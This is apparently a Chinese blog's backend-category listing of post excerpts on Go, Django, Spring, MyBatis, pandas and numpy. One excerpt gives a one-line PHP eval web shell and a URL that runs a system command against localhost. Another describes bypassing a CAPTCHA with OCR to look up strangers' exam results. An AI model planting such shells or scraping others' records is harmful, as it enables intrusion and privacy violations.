随笔分类 -  后端

摘要:环境:phpstudy_pro 一、上传常规木马 1)eval()函数 命令执行脚本: //hacker.php <?php eval($_GET["cmd"]); ?> 浏览器访问:http://127.0.0.1/hacker.php?cmd=system('whoami'); 传入的参数必须为 阅读全文
posted @ 2025-01-08 17:06 权杖攻城狮 阅读(730) 评论(0) 推荐(0)
摘要:以下beego3基于go v1.8+,bee v2.0+,开发工具是goland2022.1 一、Beego安装 1、安装beego和bee 1)下载beego和bee 安装包: go get github.com/beego/beego(依赖go.mod文件1),可能会在goland里面无法使用。 阅读全文
posted @ 2022-05-15 10:12 权杖攻城狮 阅读(733) 评论(0) 推荐(0)
摘要:一、总体介绍 1、Django的基本知识 1)优缺点 (1)优点:python实现,代码干净、整洁;提供管理后台,能够快速开发;复用度高,设计、使用上遵循DRY原则;易于扩展复用的中间件;内置的安全框架;丰富的第三方类库; (2)缺点:单体应用-不易并行开发、单点扩展;不适合非常小的几行代码的项目; 阅读全文
posted @ 2022-03-09 09:29 权杖攻城狮 阅读(392) 评论(0) 推荐(0)
摘要:本文主要为go的学习过程笔记。 一、基本介绍 1、开发环境安装-windows安装 打开Golang官网,选择对应版本,进行安装。 2、环境变量配置 1)步骤 (1)首先在环境变量中添加 GOROOT,值为 go 的安装目录: (2)然后在环境变量 PATH 中添加 go 安装目录下的 bin 文件 阅读全文
posted @ 2022-03-09 08:57 权杖攻城狮 阅读(384) 评论(0) 推荐(0)
摘要:一、什么是SpringCloud Alibaba 1、简介 1)简介 阿里云未分布式应用开发提供了一站式解决方案。它包含了开发分布式应用程序所需的所有组件,使您可以轻松地使用springcloud开发应用程序。 有了阿里云,你只需要添加一些注解和少量的配置,就可以将spring云应用连接到阿里的分布 阅读全文
posted @ 2021-05-10 10:30 权杖攻城狮 阅读(607) 评论(0) 推荐(0)
摘要:1)编写工具类 package com.icucoder.util; import javax.imageio.ImageIO; import java.awt.*; import java.awt.image.BufferedImage; import java.io.IOException; i 阅读全文
posted @ 2021-05-02 10:02 权杖攻城狮 阅读(159) 评论(0) 推荐(0)
摘要:一、什么是SpringCloud 1、官方定义 1)官方定义:springcloud为开发人员提供了在分布式系统中快速构建一些通用模式的工具(例如配置管理、服务发现、断路器、智能路由、微代理、控制总线)。分布式系统的协调导致了锅炉板模式,使用springcloud开发人员可以快速地建立实现这些模式的 阅读全文
posted @ 2021-05-01 18:40 权杖攻城狮 阅读(1290) 评论(0) 推荐(0)
摘要:一、什么是微服务 1、概念 微服务就是由一系列围绕自己也为开发的微小服务构成,他们独立部署运行在自己的进程里,基于分布式的管理。 (通俗定义:微服务是一种架构,这种架构是将单个的整体应用程序分割成更小的项目关联的独立的服务。一个服务通常实现一组独立的特性或功能包含自己的业务逻辑和适配器。各个微服务之 阅读全文
posted @ 2021-04-22 21:33 权杖攻城狮 阅读(936) 评论(0) 推荐(0)
摘要:一、编程步骤 1、引入依赖 springboot相关依赖(略)、mybatis-spring-boot-starter、mysql、druid、lombook <dependency> <groupId>org.mybatis.spring.boot</groupId> <artifactId>my 阅读全文
posted @ 2021-03-27 15:43 权杖攻城狮 阅读(93) 评论(0) 推荐(0)
摘要:SpringBoot设计目的是用来简化Spring应用的初始搭建以及开发过程。该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置。通过这种方式,SpringBoot致力于在蓬勃发展的快速应用开发领域(rapid application development)成为领导者。 Sp 阅读全文
posted @ 2021-03-27 15:33 权杖攻城狮 阅读(549) 评论(0) 推荐(0)
摘要:一、编程步骤 1、引入依赖 spring、springmvc、mybatis、mybatis-spring、mysql、druid、log4j、servlet-api、jstl、fastjson 2、SM整合=Spring+mybatis 1)建表 2)实体类 3)DAO接口 public inte 阅读全文
posted @ 2021-03-26 08:39 权杖攻城狮 阅读(110) 评论(0) 推荐(0)
摘要:为了使Spring可插入MVC架构,SpringFrameWork在Spring基础上开发SpringMVC框架,从而使用Spring进行WEB开发时可以选择使用Spring的SpringMVC框架作为web开发的控制器框架。SpringMVC是轻量级,典型的MVC框架,在整个MVC框架中充当控制器 阅读全文
posted @ 2021-03-25 15:30 权杖攻城狮 阅读(250) 评论(0) 推荐(0)
摘要:一、SM思路分析 1、引入核心依赖及相关依赖: spring(略)、mybatis、mysql、mybatis-spring(减少自己实现FactoryBean接口)、druid <dependency> <groupId>mysql</groupId> <artifactId>mysql-conn 阅读全文
posted @ 2021-03-25 15:29 权杖攻城狮 阅读(108) 评论(0) 推荐(0)
摘要:Spring框架是一个集众多涉及模式于一身的开源的、轻量级的项目管理框架,致力于javaee轻量级解决方案。相对于原来学过的框架而言,spring框架和之前学习的struts2、mybatis框架有了本质的区别,不是替换原来的某个框架,而是对其进行整合管理。 轻量级解决方案:提供一个简单的,统一的、 阅读全文
posted @ 2021-03-25 15:25 权杖攻城狮 阅读(324) 评论(0) 推荐(0)
摘要:前提:本文仅作为技术训练,不可利用技术做非法的事。 某考试的成绩查询页面如下:查询成绩需要的数据有准考证号或者身份证、考生姓名、验证码。现在使用python来实现自动查询指定人员的考试成绩(不知道准考证号的前提下)。主要使用的包有Tesseract-OCR、PIL、execjs、pytesserac 阅读全文
posted @ 2019-06-19 15:44 权杖攻城狮 阅读(2082) 评论(2) 推荐(0)
摘要:主要是使用随机森林将four列缺失的数据补齐。 # fit到RandomForestRegressor之中,n_estimators代表随机森林中的决策树数量 #n_jobs这个参数告诉引擎有多少处理器是它可以使用。 “-1”意味着没有限制,而“1”值意味着它只能使用一个处理器。import pan 阅读全文
posted @ 2019-06-04 16:15 权杖攻城狮 阅读(880) 评论(0) 推荐(0)
摘要:0 简单介绍 Matplotlib是一个Python语言的2D绘图库,它支持各种平台,并且功能强大,能够轻易绘制出各种专业的图像。 1 安装 2 入门代码示例 结果: 对照着这个线形图,我们来讲解一下三行代码的逻辑: 参考 Python绘图库Matplotlib入门教程 阅读全文
posted @ 2019-06-04 14:15 权杖攻城狮 阅读(642) 评论(0) 推荐(0)
摘要:0 简单介绍 pandas是一个Python语言的软件包,在我们使用Python语言进行机器学习编程的时候,这是一个非常常用的基础编程库。本文是对它的一个入门教程。 pandas提供了快速,灵活和富有表现力的数据结构,目的是使“关系”或“标记”数据的工作既简单又直观。它旨在成为在Python中进行实 阅读全文
posted @ 2019-06-04 14:05 权杖攻城狮 阅读(11811) 评论(0) 推荐(0)
摘要:0 Numpy简单介绍 Numpy是Python的一个科学计算的库,提供了矩阵运算的功能,其一般与Scipy、matplotlib一起使用。其实,list已经提供了类似于矩阵的表示形式,不过numpy为我们提供了更多的函数。如果接触过matlab、scilab,那么numpy很好入手。 NumPy函 阅读全文
posted @ 2019-06-03 18:40 权杖攻城狮 阅读(1255) 评论(0) 推荐(0)
摘要:一、基本注解 1、四大注解 1)@Controller controller层使用@Controller注解-用于呈现层,(spring-mvc)。@Controller 用于标记在一个类上,使用它标记的类就是一个SpringMVC Controller 对象。分发处理器将会扫描使用了该注解的类的方 阅读全文
posted @ 2019-05-07 15:33 权杖攻城狮 阅读(796) 评论(0) 推荐(0)